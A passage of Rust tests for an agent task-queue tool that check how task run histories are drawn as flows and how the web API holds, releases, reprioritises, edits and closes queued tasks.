8699            t.start((*r).to_owned());
8700        }
8701        t
8702    }
8703
8704    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8705        let h = task_history(task, |id| {
8706            states
8707                .iter()
8708                .find(|(i, _)| *i == id)
8709                .and_then(|(_, s)| s.clone())
8710        });
8711        task_flow(task, &h, 5)
8712    }
8713
8714    #[test]
8715    fn flow_opens_with_the_chat_that_queued_the_task() {
8716        let mut t = flow_task(&[]);
8717        t.source = Source::Agent {
8718            run: "a b/c".to_owned(),
8719            node: crate::queue::CHAT_NODE.to_owned(),
8720        };
8721        let f = flow_for(&t, &[]);
8722        assert_eq!(f.nodes[0].key, "chat");
8723        assert_eq!(f.nodes[0].kind, "chat");
8724        assert_eq!(
8725            f.nodes[0].label,
8726            format!("Chat {}", crate::queue::short("a b/c"))
8727        );
8728        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
8729        assert_eq!(f.nodes[1].key, "start");
8730        assert_eq!(
8731            f.edges[0],
8732            FlowEdge {
8733                from: "chat".to_owned(),
8734                to: "start".to_owned(),
8735                label: "queued from chat".to_owned(),
8736                attempt: AttemptCost::None,
8737            }
8738        );
8739    }
8740
8741    #[test]
8742    fn flow_has_no_chat_box_for_other_sources() {
8743        for source in [
8744            Source::Human,
8745            Source::Issue {
8746                number: 3,
8747                repo: "o/r".to_owned(),
8748            },
8749            Source::Agent {
8750                run: "20260904-014455-ab12".to_owned(),
8751                node: "implement".to_owned(),
8752            },
8753        ] {
8754            let mut t = flow_task(&[]);
8755            t.source = source;
8756            let f = flow_for(&t, &[]);
8757            assert_eq!(f.nodes[0].key, "start");
8758            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
8759            assert!(f.edges.iter().all(|e| e.from != "chat"));
8760        }
8761    }
8762
8763    const FA: &str = "20260902-140501-aaaa";
8764    const FB: &str = "20260902-140502-bbbb";
8765
8766    #[test]
8767    fn flow_follows_blocked_retry_merged_to_done() {
8768        let mut t = flow_task(&[FA, FB]);
8769        t.status = TaskStatus::Done;
8770        let f = flow_for(
8771            &t,
8772            &[
8773                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8774                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8775            ],
8776        );
8777        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8778        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8779        assert_eq!(f.edges.len(), 3);
8780        assert_eq!(f.edges[0].label, "claimed");
8781        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8782        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8783        assert_eq!(f.edges[2].label, "merged \u{2192} done");
8784        assert_eq!(
8785            f.nodes[2].href.as_deref(),
8786            Some("#/runs/20260902-140502-bbbb")
8787        );
8788        assert!(f.nodes[2].decided);
8789    }
8790
8791    #[test]
8792    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8793        let quota = || {
8794            flow_run(RunStatus::Stalled, |s| {
8795                s.quota.push(crate::run::QuotaLoss {
8796                    seat: "judge-1".to_owned(),
8797                    node: "judge".to_owned(),
8798                    at: Timestamp::now(),
8799                    reset: None,
8800                })
8801            })
8802        };
8803        let mut t = flow_task(&[FA, FA]);
8804        t.status = TaskStatus::Queued;
8805        let f = flow_for(&t, &[(FA, Some(quota()))]);
8806        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8807        assert_eq!(f.nodes[1].note, Some("interrupted"));
8808        assert_eq!(
8809            f.nodes[1].status, None,
8810            "no outcome copied onto an earlier pass"
8811        );
8812        assert_eq!(
8813            f.edges[1].attempt,
8814            AttemptCost::Unknown,
8815            "a resume does not prove the earlier pass was refunded"
8816        );
8817        assert!(f.edges[1].label.contains("resume the same run"));
8818        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
8819        assert_eq!(
8820            f.edges[2].label,
8821            "stalled after a resume, refund unknown \u{2192} queued"
8822        );
8823        assert!(!f.nodes[2].decided, "a stall is not a decision");
8824        assert_eq!(f.nodes[2].note, Some("no verdict"));
8825    }
8826
8827    #[test]
8828    fn flow_single_pass_quota_stall_is_refunded() {
8829        let t = flow_task(&[FA]);
8830        let f = flow_for(
8831            &t,
8832            &[(
8833                FA,
8834                Some(flow_run(RunStatus::Stalled, |s| {
8835                    s.quota.push(crate::run::QuotaLoss {
8836                        seat: "judge-1".to_owned(),
8837                        node: "judge".to_owned(),
8838                        at: Timestamp::now(),
8839                        reset: None,
8840                    })
8841                })),
8842            )],
8843        );
8844        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8845    }
8846
8847    #[test]
8848    fn flow_parked_refunds_and_stall_without_quota_spends() {
8849        let mut t = flow_task(&[FA]);
8850        t.status = TaskStatus::Queued;
8851        let f = flow_for(
8852            &t,
8853            &[(
8854                FA,
8855                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
8856            )],
8857        );
8858        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
8859        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8860        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
8861        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8862        assert!(!f.nodes[1].decided);
8863    }
8864
8865    #[test]
8866    fn flow_keeps_an_unreadable_run_as_its_own_node() {
8867        let t = flow_task(&[FA, FB]);
8868        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
8869        assert_eq!(f.nodes[1].note, Some("unreadable"));
8870        assert!(!f.nodes[1].readable);
8871        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
8872        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
8873    }
8874
8875    #[test]
8876    fn flow_names_the_branch_of_a_review_only_run() {
8877        let t = flow_task(&[FA]);
8878        let f = flow_for(
8879            &t,
8880            &[(
8881                FA,
8882                Some(flow_run(RunStatus::Merged, |s| {
8883                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
8884                })),
8885            )],
8886        );
8887        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
8888        assert_eq!(
8889            f.nodes[1].detail.as_deref(),
8890            Some("review-only run of branch magi/x/A")
8891        );
8892    }
8893
8894    #[test]
8895    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
8896        let mut t = flow_task(&[FA]);
8897        t.status = TaskStatus::Held;
8898        let pr = crate::run::PrRecord {
8899            url: "https://example.test/pr/1".to_owned(),
8900            number: 1,
8901            state: "open".to_owned(),
8902            checks: "green".to_owned(),
8903            round: 0,
8904            rounds: 3,
8905            red_at_merge: Vec::new(),
8906        };
8907        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
8908        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
8909        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
8910        t.status = TaskStatus::Done;
8911        let f = flow_for(&t, &[(FA, Some(blocked))]);
8912        assert_eq!(f.edges[1].label, "closed by hand: task is done");
8913    }
8914
8915    #[test]
8916    fn flow_with_no_runs_goes_from_queued_to_queued() {
8917        let t = flow_task(&[]);
8918        let f = flow_for(&t, &[]);
8919        assert_eq!(f.nodes.len(), 2);
8920        assert_eq!(f.edges.len(), 1);
8921        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
8922        assert_eq!(f.edges[0].attempt, AttemptCost::None);
8923    }
8924
8925    /// A run parked mid-flight keeps a non-terminal status; the page must
8926    /// still say why it stopped and that the attempt came back.
8927    #[test]
8928    fn a_parked_non_terminal_run_is_explained_as_parked() {
8929        let mut s = RunState::new(
8930            PathBuf::from("/repo/magi"),
8931            "main".to_owned(),
8932            "0123456789abcdef".to_owned(),
8933            "Do it".to_owned(),
8934            Config::default(),
8935        );
8936        s.status = RunStatus::Implementing;
8937        s.parked = true;
8938        let task = Task::new(
8939            "t".to_owned(),
8940            "Do it".to_owned(),
8941            PathBuf::from("/repo/magi"),
8942            Source::Human,
8943        );
8944        let v = task_run_view(
8945            "20260902-140501-aaaa",
8946            Some(&s),
8947            RunSlot {
8948                n: 1,
8949                resumed: false,
8950                resumed_later: None,
8951                prior: None,
8952                last: true,
8953            },
8954            &task,
8955        );
8956        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
8957    }
8958
8959    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
8960        let mut s = flow_run(RunStatus::Implementing, edit);
8961        s.parked = false;
8962        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
8963        task_run_view(
8964            "20260902-140501-aaaa",
8965            Some(&s),
8966            RunSlot {
8967                n: 1,
8968                resumed: false,
8969                resumed_later: Some(2),
8970                prior: None,
8971                last: false,
8972            },
8973            &task,
8974        )
8975    }
8976
8977    #[test]
8978    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
8979        let v = earlier_pass_view(|_| {});
8980        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
8981        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
8982        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
8983        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
8984        assert_eq!(v.exit, RunExit::Interrupted);
8985        assert_eq!(v.attempt, AttemptCost::Unknown);
8986    }
8987
8988    #[test]
8989    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
8990        let v = earlier_pass_view(|s| {
8991            s.quota.push(crate::run::QuotaLoss {
8992                seat: "judge-1".to_owned(),
8993                node: "judge".to_owned(),
8994                at: Timestamp::now(),
8995                reset: None,
8996            });
8997        });
8998        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
8999        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9000        assert_eq!(v.attempt, AttemptCost::Unknown);
9001    }
9002
9003    #[test]
9004    fn the_current_pass_states_its_recorded_cause_and_cost() {
9005        let slot = || RunSlot {
9006            n: 1,
9007            resumed: false,
9008            resumed_later: None,
9009            prior: None,
9010            last: true,
9011        };
9012        let task = flow_task(&["20260902-140501-aaaa"]);
9013        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9014        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9015        assert_eq!(
9016            (v.exit, v.attempt),
9017            (RunExit::Parked, AttemptCost::Refunded)
9018        );
9019        let spent = flow_run(RunStatus::Blocked, |_| {});
9020        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9021        assert_eq!(v.attempt, AttemptCost::Spent);
9022        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9023    }
9024
9025    #[tokio::test]
9026    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9027        let f = Fixture::start().await;
9028        let queue = f.queue();
9029        let mut task = Task::new(
9030            "spent".to_owned(),
9031            "Try again".to_owned(),
9032            PathBuf::from("/repo/magi"),
9033            Source::Human,
9034        );
9035        task.start("20260902-140502-bbbb".to_owned());
9036        task.fail("agent gave up", 9);
9037        queue.put(&mut task).expect("file the task");
9038
9039        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9040        assert_eq!(held.status, 200);
9041        assert_eq!(held.json()["status_str"], "held");
9042
9043        let released = f
9044            .post(&format!("/api/queue/{}/release", task.id), None)
9045            .await;
9046        assert_eq!(released.status, 200);
9047        assert_eq!(released.json()["status_str"], "queued");
9048        assert_eq!(
9049            released.json()["attempts"],
9050            0,
9051            "release is a real second chance, not an instant re-hold"
9052        );
9053        assert_eq!(
9054            queue.get(&task.id).expect("reload").status,
9055            TaskStatus::Queued,
9056            "the change is on disk, not only in the reply"
9057        );
9058        assert!(
9059            !f.home
9060                .path()
9061                .join("queue")
9062                .join(format!("{}.lock", task.id))
9063                .exists(),
9064            "the claim the mutation took is released again"
9065        );
9066    }
9067
9068    #[tokio::test]
9069    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9070        let f = Fixture::start().await;
9071        let queue = f.queue();
9072        let mut task = Task::new(
9073            "busy".to_owned(),
9074            "Running right now".to_owned(),
9075            PathBuf::from("/repo/magi"),
9076            Source::Human,
9077        );
9078        queue.put(&mut task).expect("file the task");
9079        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9080
9081        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9082
9083        assert_eq!(res.status, 409);
9084        assert_eq!(
9085            queue.get(&task.id).expect("reload").status,
9086            TaskStatus::Queued,
9087            "the refused hold changed nothing"
9088        );
9089    }
9090
9091    #[tokio::test]
9092    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9093        let f = Fixture::start().await;
9094        let queue = f.queue();
9095        let mut task = Task::new(
9096            "waiting on the migration".to_owned(),
9097            "Do the thing".to_owned(),
9098            PathBuf::from("/repo/magi"),
9099            Source::Human,
9100        );
9101        queue.put(&mut task).expect("file the task");
9102
9103        let held = f
9104            .post(
9105                &format!("/api/queue/{}/hold", task.id),
9106                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9107            )
9108            .await;
9109        assert_eq!(held.status, 200, "{}", held.body);
9110        assert_eq!(held.json()["status_str"], "held");
9111        assert_eq!(
9112            held.json()["hold_reason"],
9113            "waiting for 20260101-000000-aaaa to land"
9114        );
9115
9116        let listed = f.get("/api/queue").await.json();
9117        assert_eq!(
9118            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9119            "the card reads the reason off the same list route"
9120        );
9121
9122        // A hold with no body at all must keep working - most holds have no
9123        // reason to give.
9124        let mut plain = Task::new(
9125            "no reason given".to_owned(),
9126            "Do another thing".to_owned(),
9127            PathBuf::from("/repo/magi"),
9128            Source::Human,
9129        );
9130        queue.put(&mut plain).expect("file the task");
9131        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9132        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9133        assert!(held_plain.json()["hold_reason"].is_null());
9134
9135        let released = f
9136            .post(&format!("/api/queue/{}/release", task.id), None)
9137            .await;
9138        assert_eq!(released.status, 200);
9139        assert!(
9140            released.json()["hold_reason"].is_null(),
9141            "a release must clear the reason so the next hold does not inherit it"
9142        );
9143    }
9144
9145    #[tokio::test]
9146    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9147        let f = Fixture::start().await;
9148        let queue = f.queue();
9149        let mut older = Task::new(
9150            "filed first".to_owned(),
9151            "x".to_owned(),
9152            PathBuf::from("/repo/magi"),
9153            Source::Human,
9154        );
9155        older.id = "20260101-000001-aaaa".to_owned();
9156        let mut newer = Task::new(
9157            "filed second".to_owned(),
9158            "x".to_owned(),
9159            PathBuf::from("/repo/magi"),
9160            Source::Human,
9161        );
9162        newer.id = "20260101-000002-bbbb".to_owned();
9163        queue.put(&mut older).expect("file older");
9164        queue.put(&mut newer).expect("file newer");
9165
9166        // Equal priority: the newer task leads, the same order the old
9167        // newest-first `list()` already gave every equal-priority queue.
9168        let before = f.get("/api/queue").await.json();
9169        assert_eq!(before[0]["id"], newer.id);
9170        assert_eq!(before[1]["id"], older.id);
9171
9172        // Raising the *older* task is the meaningful case: it can only lead
9173        // now because its priority says so, not because it happens to be
9174        // newest.
9175        let raised = f
9176            .post(
9177                &format!("/api/queue/{}/priority", older.id),
9178                Some(r#"{"priority":10}"#),
9179            )
9180            .await;
9181        assert_eq!(raised.status, 200, "{}", raised.body);
9182        assert_eq!(raised.json()["priority"], 10);
9183
9184        let after = f.get("/api/queue").await.json();
9185        let names: Vec<&str> = after
9186            .as_array()
9187            .unwrap()
9188            .iter()
9189            .map(|t| t["id"].as_str().unwrap())
9190            .collect();
9191        // Highest priority first, which is the order next_runnable and
9192        // `magi task list` both use - GET /api/queue must agree with it
9193        // immediately, not just once the loop claims the task.
9194        assert_eq!(names[0], older.id, "the raised task now sorts first");
9195    }
9196
9197    #[tokio::test]
9198    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9199        let f = Fixture::start().await;
9200        let queue = f.queue();
9201        let mut task = Task::new(
9202            "in flight".to_owned(),
9203            "x".to_owned(),
9204            PathBuf::from("/repo/magi"),
9205            Source::Human,
9206        );
9207        task.start("20260902-140502-bbbb".to_owned());
9208        queue.put(&mut task).expect("file the task");
9209
9210        let res = f
9211            .post(
9212                &format!("/api/queue/{}/priority", task.id),
9213                Some(r#"{"priority":9}"#),
9214            )
9215            .await;
9216        assert_eq!(res.status, 400, "{}", res.body);
9217        assert!(
9218            res.json()["error"]
9219                .as_str()
9220                .is_some_and(|e| e.contains("running")),
9221            "{}",
9222            res.body
9223        );
9224        assert_eq!(
9225            queue.get(&task.id).expect("reload").priority,
9226            0,
9227            "the refused write must not partially apply"
9228        );
9229    }
9230
9231    #[tokio::test]
9232    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9233        let f = Fixture::start().await;
9234        let queue = f.queue();
9235        let mut task = Task::new(
9236            "old title".to_owned(),
9237            "old instruction".to_owned(),
9238            PathBuf::from("/repo/magi"),
9239            Source::Agent {
9240                run: "20260101-000000-beef".to_owned(),
9241                node: "implement".to_owned(),
9242            },
9243        );
9244        task.runs.push("20260101-000000-beef".to_owned());
9245        queue.put(&mut task).expect("file the task");
9246        let created_at = task.created_at;
9247
9248        let edited = f
9249            .post(
9250                &format!("/api/queue/{}/edit", task.id),
9251                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9252            )
9253            .await;
9254        assert_eq!(edited.status, 200, "{}", edited.body);
9255        let body = edited.json();
9256        assert_eq!(body["title"], "new title");
9257        assert_eq!(body["instruction"], "new instruction");
9258        assert_eq!(body["id"], task.id, "editing must not mint a new id");
9259        assert_eq!(body["created_at"], created_at.to_string());
9260        assert_eq!(
9261            body["source"]["kind"], "agent",
9262            "editing a task an agent filed must not turn it human: {body}"
9263        );
9264        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9265
9266        let reloaded = queue.get(&task.id).expect("reload");
9267        assert_eq!(reloaded.title, "new title");
9268        assert_eq!(reloaded.instruction, "new instruction");
9269    }
9270
9271    #[tokio::test]
9272    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9273        let f = Fixture::start().await;
9274        let queue = f.queue();
9275        let mut owner = Task::new(
9276            "owner".to_owned(),
9277            "review it".to_owned(),
9278            PathBuf::from("/repo/magi"),
9279            Source::Human,
9280        );
9281        owner.review_branch = Some("magi/ab12/A".to_owned());
9282        queue.put(&mut owner).expect("file the owner");
9283        let mut task = Task::new(
9284            "draft".to_owned(),
9285            "old".to_owned(),
9286            PathBuf::from("/repo/magi"),
9287            Source::Human,
9288        );
9289        queue.put(&mut task).expect("file the draft");
9290        let url = format!("/api/queue/{}/edit", task.id);
9291
9292        let refused = f
9293            .post(
9294                &url,
9295                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9296            )
9297            .await;
9298        assert_eq!(refused.status, 409, "{}", refused.body);
9299        let msg = refused.json()["error"]
9300            .as_str()
9301            .unwrap_or_default()
9302            .to_owned();
9303        assert!(
9304            msg.contains("magi/ab12/A") && msg.contains("force"),
9305            "{msg}"
9306        );
9307        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9308
9309        let forced = f
9310            .post(
9311                &url,
9312                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9313            )
9314            .await;
9315        assert_eq!(forced.status, 200, "{}", forced.body);
9316    }
9317
9318    #[tokio::test]
9319    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9320        let f = Fixture::start().await;
9321        let queue = f.queue();
9322        let mut task = Task::new(
9323            "in flight".to_owned(),
9324            "do not touch".to_owned(),
9325            PathBuf::from("/repo/magi"),
9326            Source::Human,
9327        );
9328        task.start("20260902-140502-bbbb".to_owned());
9329        queue.put(&mut task).expect("file the task");
9330
9331        let res = f
9332            .post(
9333                &format!("/api/queue/{}/edit", task.id),
9334                Some(r#"{"title":"x","instruction":"y"}"#),
9335            )
9336            .await;
9337        assert_eq!(res.status, 400, "{}", res.body);
9338        assert!(
9339            res.json()["error"]
9340                .as_str()
9341                .is_some_and(|e| e.contains("running")),
9342            "{}",
9343            res.body
9344        );
9345        assert_eq!(
9346            queue.get(&task.id).expect("reload").instruction,
9347            "do not touch",
9348            "the refused edit must not change the file"
9349        );
9350    }
9351
9352    #[tokio::test]
9353    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9354        let f = Fixture::start().await;
9355        let queue = f.queue();
9356        let mut task = Task::new(
9357            "busy".to_owned(),
9358            "Running right now".to_owned(),
9359            PathBuf::from("/repo/magi"),
9360            Source::Human,
9361        );
9362        queue.put(&mut task).expect("file the task");
9363        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9364
9365        let priority = f
9366            .post(
9367                &format!("/api/queue/{}/priority", task.id),
9368                Some(r#"{"priority":9}"#),
9369            )
9370            .await;
9371        assert_eq!(priority.status, 409, "{}", priority.body);
9372
9373        let edit = f
9374            .post(
9375                &format!("/api/queue/{}/edit", task.id),
9376                Some(r#"{"title":"x","instruction":"y"}"#),
9377            )
9378            .await;
9379        assert_eq!(edit.status, 409, "{}", edit.body);
9380    }
9381
9382    #[tokio::test]
9383    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9384        let f = Fixture::start().await;
9385        let queue = f.queue();
9386        let mut task = Task::new(
9387            "shipped by hand".to_owned(),
9388            "merged outside the loop".to_owned(),
9389            PathBuf::from("/repo/magi"),
9390            Source::Agent {
9391                run: "20260101-000000-b455".to_owned(),
9392                node: "implement".to_owned(),
9393            },
9394        );
9395        task.runs.push("20260101-000000-b455".to_owned());
9396        task.runs.push("20260101-000000-9af4".to_owned());
9397        queue.put(&mut task).expect("file the task");
9398        let created_at = task.created_at;
9399
9400        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9401        assert_eq!(done.status, 200, "{}", done.body);
9402        assert_eq!(done.json()["status_str"], "done");
9403
9404        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9405        assert_eq!(
9406            reloaded.runs,
9407            ["20260101-000000-b455", "20260101-000000-9af4"]
9408        );
9409        assert_eq!(
9410            reloaded.source,
9411            Source::Agent {
9412                run: "20260101-000000-b455".to_owned(),
9413                node: "implement".to_owned(),
9414            }
9415        );
9416        assert_eq!(reloaded.created_at, created_at);
9417    }
9418
9419    #[tokio::test]
9420    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9421        // `done` is allowed on any status, including `held`, with no release
9422        // in between - so a task held for a reason and then closed directly
9423        // must not keep reading as "waiting on" it afterwards, on its card or
9424        // in `magi task show`.
9425        let f = Fixture::start().await;
9426        let queue = f.queue();
9427        let mut task = Task::new(
9428            "landed while held".to_owned(),
9429            "x".to_owned(),
9430            PathBuf::from("/repo/magi"),
9431            Source::Human,
9432        );
9433        task.hold_manual(Some("waiting on 3ed9".to_owned()));
9434        queue.put(&mut task).expect("file the held task");
9435
9436        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9437        assert_eq!(done.status, 200, "{}", done.body);
9438        assert_eq!(done.json()["status_str"], "done");
9439        assert!(
9440            done.json()["hold_reason"].is_null(),
9441            "a done task cannot still be waiting on something: {}",
9442            done.body
9443        );
9444    }
9445
9446    #[tokio::test]
9447    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9448        // `queue_done` is the phone's way to close a task the loop never
9449        // settled itself - after confirming a manual GitHub merge, say - and
9450        // that is just as much "this task's story is over" as the loop's own
9451        // `Merged`/`Ready` path, so it must trigger the same cleanup.
9452        let f = Fixture::start().await;
9453        let queue = f.queue();
9454        let runs = f.runs();
9455        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9456        // The last attempt has to have actually landed for the earlier one
9457        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
9458        // for the case where it didn't.
9459        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9460
9461        let mut task = Task::new(
9462            "landed by hand".to_owned(),
9463            "x".to_owned(),
9464            PathBuf::from("/repo/magi"),
9465            Source::Human,
9466        );
9467        task.runs.push("20260101-000000-doa1".to_owned());
9468        task.runs.push("20260101-000000-doa2".to_owned());
9469        queue.put(&mut task).expect("file the task");
9470
9471        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9472        assert_eq!(done.status, 200, "{}", done.body);
9473
9474        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9475            .expect("run still on disk under this fixture's own home");
9476        assert_eq!(
9477            reloaded_run.status,
9478            RunStatus::Superseded,
9479            "closing the task by hand must relabel the earlier blocked attempt exactly \
9480             like the loop's own settle path does"
9481        );
9482    }
9483
9484    #[tokio::test]
9485    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9486        // Closing a task by hand is allowed from any status, including one
9487        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
9488        // manual merge the loop never watched, say. Nothing here is provably
9489        // why the task is done, so nothing earlier gets relabelled either.
9490        let f = Fixture::start().await;
9491        let queue = f.queue();
9492        let runs = f.runs();
9493        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9494        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9495
9496        let mut task = Task::new(
9497            "closed with nothing actually landed".to_owned(),
9498            "x".to_owned(),
9499            PathBuf::from("/repo/magi"),
9500            Source::Human,
9501        );
9502        task.runs.push("20260101-000000-dob1".to_owned());
9503        task.runs.push("20260101-000000-dob2".to_owned());
9504        queue.put(&mut task).expect("file the task");
9505
9506        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9507        assert_eq!(done.status, 200, "{}", done.body);
9508
9509        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9510            .expect("run still on disk under this fixture's own home");
9511        assert_eq!(
9512            reloaded_run.status,
9513            RunStatus::Blocked,
9514            "the last recorded attempt never landed, so the earlier one must not be \
9515             relabelled as superseded by it"
9516        );
9517    }
9518
9519    #[tokio::test]
9520    async fn unknown_ids_are_json_not_found_on_both_stores() {
9521        let f = Fixture::start().await;
9522
9523        let run = f.get("/api/runs/nosuchrun").await;
9524        let task = f.post("/api/queue/nosuchtask/hold", None).await;
9525
9526        assert_eq!(run.status, 404);
9527        assert_eq!(task.status, 404);
9528        assert!(
9529            run.json()["error"]
9530                .as_str()
9531                .is_some_and(|e| e.contains("run")),
9532            "the error names what was not found: {}",
9533            run.body
9534        );
9535        assert!(
9536            task.json()["error"]
9537                .as_str()
9538                .is_some_and(|e| e.contains("task")),
9539            "the error names what was not found: {}",
9540            task.body
9541        );
9542    }
9543
9544    #[tokio::test]
9545    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9546        let f = Fixture::start().await;
9547
9548        let missing = f.get("/api/health").await.json();
9549        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9550
9551        write_daemon(
9552            f.home.path(),
9553            Timestamp::now() - jiff::SignedDuration::from_secs(60),
9554        );
9555        let stale = f.get("/api/health").await.json();
9556        assert_eq!(
9557            stale["daemon"]["running"], false,
9558            "a minute without a heartbeat is a dead daemon, not a busy one"
9559        );
9560        assert!(
9561            stale["daemon"]["stale_for_secs"]
9562                .as_i64()
9563                .is_some_and(|s| s >= 55),
9564            "staleness is reported so the UI can say how long: {stale}"
9565        );
9566
9567        write_daemon(f.home.path(), Timestamp::now());
9568        let fresh = f.get("/api/health").await.json();
9569        assert_eq!(fresh["daemon"]["running"], true);
9570        assert_eq!(fresh["daemon"]["idle"], false);
9571        assert_eq!(fresh["daemon"]["pid"], 4242);
9572        assert_eq!(fresh["daemon"]["completed"], 7);
9573        assert_eq!(
9574            fresh["daemon"]["current"][0]["task"],
9575            "20260902-140501-aaaa"
9576        );
9577        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9578    }
9579
9580    #[tokio::test]
9581    async fn the_loop_is_not_running_until_something_starts_it() {
9582        let f = Fixture::start().await;
9583
9584        let view = f.get("/api/loop").await.json();
9585        assert_eq!(view["running"], false);
9586        assert_eq!(
9587            view["owned"], false,
9588            "nobody owns a loop that does not exist: {view}"
9589        );
9590        assert_eq!(view["stopping"], false);
9591        assert_eq!(view["last_error"], Value::Null);
9592        assert_eq!(view["daemon"]["running"], false);
9593        assert_eq!(
9594            view["repo"], "/repo/magi",
9595            "the repository a start would use, named before it is started"
9596        );
9597    }
9598
9599    #[tokio::test]
9600    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9601        let f = Fixture::start().await;
9602
9603        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9604        assert_eq!(res.status, 200, "{}", res.body);
9605        let view = res.json();
9606        assert_eq!(view["running"], true);
9607        assert_eq!(
9608            view["owned"], true,
9609            "the loop the UI started is the UI's own to stop: {view}"
9610        );
9611        assert_eq!(
9612            view["merge"],
9613            Value::Null,
9614            "no override was given, so each repository's own config decides"
9615        );
9616
9617        // The same object from the route a waking phone polls first. Two
9618        // surfaces disagreeing about whether anything is running is exactly
9619        // the confusion this UI exists to remove.
9620        let health = f.get("/api/health").await.json();
9621        assert_eq!(health["loop"]["running"], true, "{health}");
9622        assert_eq!(health["loop"]["owned"], true, "{health}");
9623
9624        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9625    }
9626
9627    #[tokio::test]
9628    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9629        let f = Fixture::start().await;
9630        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9631        assert_eq!(first.status, 200, "{}", first.body);
9632
